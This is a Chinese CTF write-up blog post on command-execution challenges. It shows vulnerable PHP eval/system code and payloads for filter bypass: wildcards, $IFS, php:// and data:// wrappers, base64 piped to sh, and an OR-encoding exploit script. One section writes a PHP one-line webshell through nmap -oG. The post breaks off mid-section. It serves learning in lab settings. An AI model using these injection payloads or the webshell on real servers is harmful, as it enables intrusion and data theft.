March 2, 2023

CTFSHOW-命令执行

Web29(通配符)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
 <?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-04 00:12:34
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-04 00:26:48
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

error_reporting(0);
if(isset($_GET['c'])){ //要求输入一个c
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){ //c中不能有flag
eval($c); //利用eval函数回显答案
}

}else{
highlight_file(__FILE__);
}

eval(string $code)把字符串 code 作为PHP代码执行,并且里面的字符串结尾要加;号,否则不行

1
2
3
4
5
6
7
8
9
10
<?php
$string = 'cup';
$name = 'coffee';
$str = 'This is a $string with my $name in it.';
echo $str. "\n";
eval("\$str = \"$str\";");
echo $str. "\n";
?>
/*This is a $string with my $name in it.
This is a cup with my coffee in it.

echo和system都可以执行程序外的指令,echo 指令内容即可,system(指令)

然后linux系统内有通配符

Linux通配符

“*”符号:代表0个或者多个字符。例如在一个目录下,搜索以.csv结尾的文件

“?”符号:代表任意一个字符.例如想要搜索以b字母开头,但是只有两个字母的文件名,并以.doc结尾的文件名

“[]”符号:匹配括号内包含的任一字符

“^“符号和”!”:通常与[]一起使用,代表取反

反引号的作用就是将反引号内的Linux命令先执行,然后将执行结果赋予变量。由’’ 、**^****()**** 符号并不会影响命令的执行,所以我们可以插入这些符号来绕过(第一个是一对单引号)**

Linux中表示输出的函数有,cat,tac,more,nl

  1. cat 由第一行开始显示文件内容
  2. tac 由最后一行开始显示文件内容(刚好和cat字母相反)
  3. nl 按行号显示文件内容
  4. more 一页一页翻动的读取

payload1:?c=echo cat fla''g.php;或者?c=echo tac fl?g.php;等等

payload2:?c=system(‘cat fla?.php’);

payload3:?c=system(‘cat fl*’);等等在内

Web30(system类似函数)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
 <?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-04 00:12:34
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-04 00:42:26
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php/i", $c)){
eval($c);
}

}else{
highlight_file(__FILE__);
}

解法和Web29一模一样payload:?c=echo tac fla?.ph*;

php有三个执行外部命令的函数:system(),exec(),passthru(),换一个使用即可

Web31(参数逃逸,常规操作)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
 <?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-04 00:12:34
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-04 00:49:10
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){
eval($c); //过滤了flag,system,php,cat,sort,shell,点,单引号,空格
}

}else{
highlight_file(__FILE__);
}

前提要事

空格过滤:

1.< 和<> 重定向符
2.%09(需要php环境)
3.IFSIFS
6.{cat,flag.php} //用逗号实现了空格功能
7.%20
8.%09 tab

注:在eval使用带有在php中有特殊含义

姿势一Payload:?c=echo%09tac%09fl?g?p?p;    ps:使用%09绕过空格

姿势二Payload:   ?c=eval($_GET[1]);&1=system(‘cat flag.php’);再访问源代码

姿势三Payload:   ?c=highlight_file(next(array_reverse(scandir(pos(localeconv())))));

                                 姿势三请看Web41内的说明!!!!!!!!!!

重点姿势二:第二种方法的理解为,传入了c=eval(%3B%261%3Dsystem(‘cat%20flag.php’)%3B%E5%85%B6%E4%B8%AD%E7%9A%841%3Dsystem(‘cat%20flag.php’)%3B%E7%BB%95%E8%BF%87%E4%BA%86preg%5C_match%E5%87%BD%E6%95%B0%E7%9A%84%E8%AF%86%E5%88%AB%EF%BC%8C1%E7%9A%84%E5%80%BC%E4%BC%A0%E5%88%B0%E4%BA%86%E7%AC%AC%E4%BA%8C%E4%B8%AAeval%E5%87%BD%E6%95%B0%E9%87%8C%E9%9D%A2%E4%B9%9F%E5%B0%B1%E6%98%AFeval(#card=math&code=_GET%5B1%5D%29%3B%261%3Dsystem%28%27cat%20flag.php%27%29%3B%E5%85%B6%E4%B8%AD%E7%9A%841%3Dsystem%28%27cat%20flag.php%27%29%3B%E7%BB%95%E8%BF%87%E4%BA%86preg%5C_match%E5%87%BD%E6%95%B0%E7%9A%84%E8%AF%86%E5%88%AB%EF%BC%8C1%E7%9A%84%E5%80%BC%E4%BC%A0%E5%88%B0%E4%BA%86%E7%AC%AC%E4%BA%8C%E4%B8%AAeval%E5%87%BD%E6%95%B0%E9%87%8C%E9%9D%A2%E4%B9%9F%E5%B0%B1%E6%98%AFeval%28&id=Shvl2)_GET[1]),在第二个eval内执行system函数。

?c=eval($_GET[2]);&2=system(‘cat flag.php’);

?c=eval($_GET[a]);&a=system(‘cat flag.php’);

?c=eval($_GET[a]);&a=echo tac flag.php;

Web32(过滤;)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
 <?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-04 00:12:34
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-04 00:56:31
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){ //过滤flag,system,php,cat,sort,shell,.,空格,单引号,反引号,斜杠/
eval($c);
}

}else{
highlight_file(__FILE__);
}

这一题过滤掉了以前所有的常规方法,所以这题我们用文件包含+逃逸+伪协议,利用文件包含函数include、require、include_once、require_once、highlight_file、show_source、file_get_contents、fopen、file、readfile等等可以查看文件

payload1:  ?c=include%09$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php

PS:其中的?>用来绕过分号,因为?>默认给你偷偷加了一个分号,接着将后面1的参数传入的include函数内,filter伪协议是用来读取文件内容的,遇到文件包含函数可以用来读取内容

payload2:   ?c=include%09$_POST[1]?>

post传参如图:

image.png
PS:用PS方法提交参数,思路和payload1一致

payload3:  ?c=include%09$_GET[1]?>&1=data:text/plain,

ps:date伪协议可以执行php命令,同样的用date伪协议也可用post方法传参,payload3为GET方法传参,post方法只需要将&_GET=>&_POST

Web33(同上)

双引号也被过滤掉了

payload与Web32一模一样

Web34(同上)

冒号也被过滤了,由于上一题payload中只有php://filter协议里出现过冒号,所以不影响使用

payload同上

Web35(同上)

过滤新增了尖括号,继续使用php://filter协议同上

payload一样

Web36(同上)

等号与数字被过滤,我们将原来的数字再替换成字符即可

payload:    ?c=include%09$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php

payload2:       ?c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php

Web37(data协议编码绕过)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
 <?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-04 00:12:34
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-04 05:18:55
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/

//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){ //过滤了flag函数
include($c);
echo $flag;

}

}else{
highlight_file(__FILE__);
}

看到include就想到文件包含,文件包含就想到伪协议,然后这里显然不能用filter因为用了filter协议就要有flag的字眼,而且filter不能把输入的东西加密,只能把输出的东西加密,所以这里用data协议data://text/plain;base64,内容,内容为:,用base64对其转码得到:PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==

payload: ?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==

Web38(同上)

比Web37多过滤了php和file,payload和Web38一致

Web39(data协议)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
 <?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-04 00:12:34
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-04 06:13:21
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/

//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){ //过滤了flag
include($c.".php");
}

}else{
highlight_file(__FILE__);
}

这里同样用data协议,但是include里面加了.php后缀,所以不能用base64进行加密,否则会出不来,这里直接payload=?c=data://text/plain,即可,用?通配符逃过过滤,然后由于这里的php命令已经闭合,所以.php无法影响,所以后面的.php会被当成html页面直接显示在页面上,起不到什么到什么作用,答案如图:

Web40(无数字RCE)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-04 00:12:34
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-04 06:03:36
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/


if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){
eval($c);
}

}else{
highlight_file(__FILE__);
}

ban掉了很多符号,比如引号,美元符等,但是注意的是他过滤的是中文的括号,没有过滤英文的()

方法一:

先介绍下列几组函数

image.png

image.png

image.png

image.png

image.png

所以payload1=?c=show_source((next(array_reverse(scandir(pos(localeconv()))))));

方法二:

payload2=?c=session_start();system(session_id());

其中session_start意思是开启一个对话,会多一个PHPSESSID,这个参数我们可以修改

然后session_id就是获取PHPSESSID的,也就是如图、

image.png
image.png

方法三

使用post进行rec远程执行,showtime!首先介绍以下几个函数

image.png

image.png

image.png

image.png

Web41(无数字字母RCE)

JOKE

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
 <?php

/*
# -*- coding: utf-8 -*-
# @Author: 羽
# @Date: 2020-09-05 20:31:22
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-05 22:40:07
# @email: 1341963450@qq.com
# @link: https://ctf.show

*/

if(isset($_POST['c'])){
$c = $_POST['c'];
if(!preg_match('/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i', $c)){
eval("echo($c);"); //该ban的都给你ban完了,字母都没了就别想着用字母秀了号码,OK?
}
}else{
highlight_file(__FILE__);
}
?>

SO今天我们使用的是一款全新的工具,没错PHP+PY脚本,首先我门先写一个PHP脚本如下OK?:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
<?php
$myfile = fopen("rce_or.txt", "w"); //新创建一个文件,也就是rce_or.txt,给他写的权限
$contents="";
for ($i=0; $i < 256; $i++) {
for ($j=0; $j <256 ; $j++) {

if($i<16){
$hex_i='0'.dechex($i); //ascii的前16个字符的十六进制应该是01,02,所以在前缀加‘0’
}
else{
$hex_i=dechex($i); //前16个后面的就不用加0了
}
if($j<16){
$hex_j='0'.dechex($j); //同理上方
}
else{
$hex_j=dechex($j); //同理上方
}
$preg = '/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i';
if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
echo ""; //如果有符合条件的就筛掉,输出空格
}

else{ //可以使用的字符如下
$a='%'.$hex_i; //十六进制前加百分号就变成了URL编码格式
$b='%'.$hex_j;
$c=(urldecode($a)|urldecode($b)); //urldecode函数是解URL编码,把他们变成字符串,这里是字符串进行按位或运算,按位或运算后,可以得到新的字符,如%21和%00进行按位或就变成了!,这样我们就可以使用感叹号,就类似于合成新的字符
if (ord($c)>=32&ord($c)<=126) { //ord函数是将字符变成ASCII码
$contents=$contents.$c." ".$a." ".$b."\n"; //每次到这里都写入刚刚建立的文本内
}
}

}
}
fwrite($myfile,$contents);
fclose($myfile);

跟这张图一样的感觉,%00和%21变成了!,%00 %22变成了#,当然还有其他的可以合成字母,也就是我们的目的,我们的目的就是合成字母,然后使用函数

NEXT,编造一个py脚本:如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
import requests    //request函数库
import urllib //urllib函数库
#from sys import *
#os.system("php or_getfun.php") #没有将php写入环境变量的需手动运行 //这一块注释掉的就是打开php文件
if(len(argv)!=2)#未传够2个参数的,会给提示
print("="*50)
print('USER:python exp.py http://65d9abec-9d41-453d-b48d-bf60ef9fe78c.chall.ctf.show/')
print("="*50)
exit(0)
url=argv[1]
def action(arg):
s1=""
s2=""
for i in arg:
f=open("rce_or.txt","r")
while True:
t=f.readline()#逐行读取文件 //每一次循环,指针都会指向下一行,输出下一行的字符
if t=="":#读到空,即读完跳出循环
break
if t[0]==i: #就比如我们这边输入的arg是system,当文本当前行第一个字母是s或者y这些字符就写入s1,s2
#print(i)
s1+=t[2:5]#提取第一个字符串,具体可以看上面我的截图,如第一行的%00
s2+=t[6:9]#提取第二个字符串
break
f.close()
output="(\""+s1+"\"|\""+s2+"\")" #s1和s2进行或运算就可以合成对应的字母s,y,s,t,e,m
return(output)

while True:
param=action(input("\n[+] your function:") )+action(input("[+] your command:"))
data={
'c':urllib.parse.unquote(param) #对URL编码进行解码,答案就出来了,python传递的是报文
}
r=requests.post(url,data=data)#post传递,若是get就get传递
print("\n[*] result:\n"+r.text) #输出结果

当我想看php或运算是怎么工作的时候,我首先对param和post请求的data进行打印。

1
2
3
4
5
6
7
8
9
10
while True:
param=action(input("\n[+] your function:") )+action(input("[+] your command:"))
print(param)

data={
'c':urllib.parse.unquote(param)
}
print(data)
r=requests.post(url,data=data)
print("\n[*] result:\n"+r.text)

image.png

我开始好奇这个指令是怎么通过前端发给后端的,于是我复制了第一行的编码在Hackber里发送。

image.png

发现报错,我换了其他格式和其他编码还是不行。。。

我开始怀疑是不是()%等等的符号不能被编码,因为本来php的异或运算也不是用%13等等数值,而是%13等编码对应的ASCII值!!
比如像有些特殊字符是输入不出来的,具体看ASCII表

而param中的字符串很有可能是发送的报文,事实也证实了猜想。

image.png

显然特殊字符被编码的,而我们发送到Repeater,修改一下,发现显示出来了

image.png

所以,这更加深刻了我对python的相关代码是直接构造报文发送给后端的理解

Web42(双写绕过,黑洞)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-05 20:51:55
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


if(isset($_GET['c'])){
$c=$_GET['c'];
system($c." >/dev/null 2>&1"); //本局重点
}else{
highlight_file(__FILE__);
}

我们来说一下本题重点**$c.” >/dev/null 2>&1”**的意思:


代表重定向到哪里,例如:echo “123” > /home/123.txt
1 表示stdout标准输出,系统默认值是1,所以”>/dev/null”等同于”1>/dev/null”
2 表示stderr标准错误
& 表示等同于的意思,2>&1,表示2的输出重定向等同于1


那么本文标题的语句:
1>/dev/null 首先表示标准输出重定向到空设备文件,也就是不输出任何信息到终端,说白了就是不显示任何信息。
2>&1 接着,标准错误输出重定向等同于 标准输出,因为之前标准输出已经重定向到了空设备文件,所以标准错误输出也重定向到空设备文件。


其中本题中的$c相当于我们的command也就是指令,这里system内部命令不需要加引号,这里我们可以用双写绕过

所以payload1:  ?c=ls;ls然后?c=tac flag.php;1

ps:这里的分号相当于分隔号,也就是输入两个指令,第二个指令随便什么都可以,反正不会有回显,另外这里的分号我们可以替换成%0a也就是换行符,这里也可以当做分号使用,原理一样

所以 payload2: ?c=tac flag.php%0a

还有一种方法就是使用&&和||来绕过,其中&&要进行URL编码后再传入进去,因为是在URL内传输的,||  前面错了执行后面的,前面的对了就不执行

                           &&前面为真执行后面的,前面的错了就不执行后面的

这里这两个东西和分号的作用类似

Payload3: ?c=tac flag.php&&或者?c=tac flag.php||

Web43(类型同上)

源码和上一题一样,多ban掉了cat和;

我们只要用tac和%0a即可,思路就这样

Web44(类型同上)

比web43多ban掉了个flag,我们用通配符*或者?等等即可

payload:?c=tac fla*%0a

Web45(类型同上)

比web44多ban了个空格,我们空格绕过用%09或者${IFS}就好了就好了

Web46(类型同上)

这道题多ban掉了数字0-9和$还有*号

这里我们用前面提到的&&和||来代替;

原理类似,空格就用URL编码去绕过%09可行

所以payload:    ?c=tac%09fla?.php||

payload2:?c=c”a”t%09fla??php||

Web47(类型同上)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-05 21:59:23
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}

解法万变不离其宗,多ban了一些输出的东西而已

payload:  ?c=tac%09fla’’g.php||
这里要编码是因为’在URL编码有特殊

Web48(类型同上)

与Web47一模一样

Web49(类型同上)

同上,payload:?c=tac%09fla?.php||

ACTF2020 新生赛]Exec (基础的命令执行)

进入后页面如下,猜测指令内容为ping ip
image.png
我们首先尝试一下分隔符执行ls,首先输入1;ls,出现了index.php,但是很显然这并不是我们想要的文件
image.png

所以接下来我们用命令cd ../来返回上一级目录,输入1;cd ../;ls一层层查看,第一次结果如下
image.png
直到输入1;cd ../../../;ls发现了flag

image.png

这时我们就payload: 1;cd ../../../;cat flag,得到最终答案

image.png

[GXYCTF2019]Ping Ping(一系列绕过)

进入后页面如下,显然是要我们在url是要我们在url上进行输入
image.png
尝试输入?ip=1;ls后发现了flag.php和index.php
image.png
再度尝试读取,他FXck我的空格,如此不礼貌,那我们就不用空格输入
image.png
嗯很好,这次我们用,代替空格后他又骂我们flag,说明过滤了flag,所以我们试试别的

image.png

东西都让你给fxck完了呗就是,经过其他的尝试发现ban了很多东西,通配符也ban完了,空格里带百分号的也ban掉了,只能用$IFS$1这一类的
image.png

然后我们payload:?ip=1;tac$IFS$1index.php,发现了源码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
if(isset($_GET['ip'])){
$ip = $_GET['ip'];
if(preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{1f}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
die("fxck your symbol!");
} else if(preg_match("/ /", $ip)){
die("fxck your space!");
} else if(preg_match("/bash/", $ip)){
die("fxck your bash!");
} else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
die("fxck your flag!");
}
$a = shell_exec("ping -c 4 ".$ip);
echo "
<pre>";
print_r($a);
}
?>

从中我们可以看出他ban了很多字符,这题我发现有很多题解

payload1:?ip=1;a=g;cat$IFS$1fla$a.php

我们来分析一下,首先shell_exec()函数是通过shell的环境来执行命令,在shell里面变量赋值是直接**变量名=值**这样的,如a=g,payload1内就是用了这种方法,增添一个变量a赋值g,来构造flag.
image.png

payload2:?ip=1;cat$IFS$1ls

linux系统内会先将反引号内的指令先运行,所以这个payload内先运行ls得到了index.php和flag.php,然后在cat这两个文件,所以最后答案是这两个源文件的内容

image.png

payload3: ?ip=1;echo$IFS$1ZWNobyBgY2F0IGZsYWcucGhwYA==|base64 -d|sh

首先用echo进行了base64传输加密,之后再用sh执行这个命令,base64编码的内容是**cat flag.php**照样得出答案

[BUUCTF 2018]Online Tool(escapeshellcmd和escapeshellarg)

进入后,代码如下!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php

if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
$_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_X_FORWARDED_FOR'];
}
//全体目光向我看齐,以上这一段是废话
if(!isset($_GET['host'])) {
highlight_file(__FILE__);
} else {
$host = $_GET['host'];
$host = escapeshellarg($host);
$host = escapeshellcmd($host); //重点
$sandbox = md5("glzjin". $_SERVER['REMOTE_ADDR']);
echo 'you are in sandbo x '.$sandbox;
@mkdir($sandbox);
chdir($sandbox);
echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);//最后肯定要在这头陀的执行一些命令撒
}

出于对未知事物的好奇,我偷偷摸摸的去查了一下$_SERVER到底是个什么鸟东西,以下是百度百科

$_SERVER 是一个包含了诸如头信息(header)、路径(path)、以及脚本位置(script locations)等等信息的数组。这个数组中的项目由 Web 服务器创建。不能保证每个服务器都提供全部项目;服务器可能会忽略一些,或者提供一些没有在这里列举出来的项目。

image.png
escapeshellcmd:
escapeshellarg:

怎么样是不是一点用都没有,好进入正题,这里考的是escapeshellarg和escapeshellcmd在一起会摩擦出什么样子的火花,可以参考以下文献

http://www.lmxspace.com/2018/07/16/谈谈escapeshellarg参数绕过和注入的问题/

简单的举个例子:
image.png

image.png

以上例子可以知道这两个函数存在严重的安全漏洞,可以让我们执行命令,他会把语句分开达到意外的效果

接下来引入一些概念知识

  • namp -PS 127.0.0.1
  • namp -PS ‘’ 127.0.0.1
  • nmap -PS ’ “ “ ’ 127.0.0.1 “ “
    引号闭合后,加上这些,无影响
  • namp  -oG 1.php
    可以写入一个文件
  • namp nmap <?php phpinfo();> -oG 1.php\’
    会写成1.php‘ 而不是 1.php

接下里的payload就好构造了,nmap有一个参数-oG可以实现将命令和结果写到文件
所以我们可以控制自己的输入写入文件,这里我们可以写入一句话木马链接,也可以直接命令 cat flag
所以我们的payload:?host=’ -oG 1.php ‘

payload中的@是错误不报告的意思

———————————————————-payload 一定要加空格——————————————————————————————

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
正确的样式:
' <?php @eval($_POST["mayi"]);?> -oG mayi.php '

$host = escapeshellarg($host);
>>> ''\'' <?php @eval($_POST["mayi"]);?> -oG mayi.php' \'''

$host = escapeshellcmd($host);
>>> ''\\'' \<\?php @eval($_POST["mayi"])\;\?\> -oG mayi.php' \\'''

# 等价于 \\ <\?php @eval($_POST["mayi"])\;\?\> -oG mayi.php \\

# 根据解析规则
# 等价于 \\ <\?php @eval($_POST["mayi"])\;\?\> -oG mayi.php
# 写入后 <?php @eval($_POST["mayi"]);?> -oG mayi.php
——————————————————————————————————————————
但是如果你的payload为:
?host=' <?php @eval($_POST["mayi"]);?> -oG mayi.php'
>>> ''\\'' \<\?php @eval($_POST["mayi"])\;\?\> -oG mayi.php'\\'''
>>> <?php @eval($_POST["mayi"]);?> -oG mayi.php\\
# 这样是不会被认为是php文件的。
#所以说必须后面要有 ‘ 而且前面要有空格哟。

上传进去后用蚁剑去连接就可以得到答案
image.png

格式是url/编码地址/1.php
image.png

密码就是我们POST里面的1,然后进去找到答案,编码地址就是sandbox后面那一串

image.png

payload2:?host=‘  -oG test.php ‘

然后直接访问URL/给的编码地址/test.php就可以看到了

[FBCTF2019]RCEService(环境+%0a绕过的RCE)

image.png

进入后页面如图所示,根据提示是要我们用JSON的格式输入一个东西
所谓的JSON是什么呢,如下图,简单地说就是{“变量名”:“值”}

json_encode:
image.png

json_decode:
image.png

我们打开源代码看看
image.png
look what we find,我们看到有个cmd,那我们就照着提示往下走,先输入{“cmd”:”ls”}得到了以下结果

我们发现了index.php,我尝试了用cat访问,但是无效,大概了ban了罢

image.png

后来去网上看了一下,发现这题目比赛上是给了一段源代码的,如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php

putenv('PATH=/home/rceservice/jail');

if (isset($_REQUEST['cmd'])) {
$json = $_REQUEST['cmd'];

if (!is_string($json)) {
echo 'Hacking attempt detected<br/><br/>';
} elseif (preg_match('/^.*(alias|bg|bind|break|builtin|case|cd|command|compgen|complete|continue|declare|dirs|disown|echo|enable|eval|exec|exit|export|fc|fg|getopts|hash|help|history|if|jobs|kill|let|local|logout|popd|printf|pushd|pwd|read|readonly|return|set|shift|shopt|source|suspend|test|times|trap|type|typeset|ulimit|umask|unalias|unset|until|wait|while|[\x00-\x1FA-Z0-9!#-\/;-@\[-`|~\x7F]+).*$/', $json)) {
echo 'Hacking attempt detected<br/><br/>';
} else {
echo 'Attempting to run command:<br/>';
$cmd = json_decode($json, true)['cmd'];//$cmd是json解码后键名为cmd的那个
//json_decode返还的是一个数组
//所以输入的格式为?cmd={"cmd":"指令"}
if ($cmd !== NULL) {
system($cmd);
} else {
echo 'Invalid input';
}
echo '<br/><br/>';
}
}

?>

看的出来ban了很多很多东西,代码审计后发现要我们以json格式输入cmd,并且放入system去执行,那么这个system肯定就是关键了咯,还有这段代码putenv(‘PATH=/home/rceservice/jail’);

这段代码配置了环境变量,在PATH=/home/rceservice/jail下,这就是为什么没ban掉cat却不可以用cat的原因,因为Linux命令的位置:/bin,/usr/bin,默认都是全体用户使用,/sbin,/usr/sbin,默认root用户使用,所以想要用cat得用/bin/cat这种格式

我们来进行尝试输入:?cmd=

About this Post

This post is written by Boogipop, licensed under CC BY-NC 4.0.

#CTF#刷题记录#CTFSHOW